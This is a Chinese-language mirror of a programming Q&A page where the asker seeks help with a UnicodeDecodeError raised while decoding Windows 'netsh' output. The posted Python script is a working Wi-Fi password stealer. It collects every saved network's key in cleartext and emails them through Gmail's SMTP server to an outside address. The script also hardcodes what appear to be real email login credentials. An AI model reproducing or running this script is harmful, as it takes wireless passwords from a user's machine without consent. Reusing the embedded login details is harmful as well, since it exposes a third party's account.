subproces.check_output().decode() 给出 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x83 in position 604: invalid start byte

时间:2020-12-31 21:19:15

标签: python utf-8 subprocess decode

我正在尝试使用子流程模型检索某个日期,但一直出现上述错误。查找后我发现那个位置的字符是'â'。我尝试了其他解码方法,如 charmap 和 latin-1,它没有给我错误,但输出 str 是 'L\x83ayoune' 它返回字符的位置而不是它本身的字符。 给出错误的行: data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8')

import subprocess
import smtplib


data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
print(data)
wifis = [line.split(':')[1][1:-1] for line in data if "All User Profile" in line]
msg = ''


print(wifis)


for wifi in wifis:
    resultes = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles', wifi, 'key=clear'], 
stderr=subprocess.STDOUT).decode('utf-8').split('\n')
    resultes = [line.split(':')[1][1:-1] for line in resultes if 'Key Content' in line]
    try:
        print(f"Name : {wifi}, Password : {resultes[0]}")
        msg += f"Name : {wifi}, Password : {resultes[0]}"
    except IndexError:
        print(f"Name : {wifi} Password : Not Accessible")
        msg += f"Name : {wifi} Password : Not Accessible\n"


with smtplib.SMTP('smtp.gmail.com', 587) as smtp:
    smtp.ehlo()
    smtp.starttls()
    smtp.ehlo()
    smtp.login('adamdemofighter@gmail.com', 'hamzaelbahlaoui')
    smtp.sendmail('adamdemofighter@gmail.com', 'hamza.el.bahlaoui@outlook.com', msg)

0 个答案:

没有答案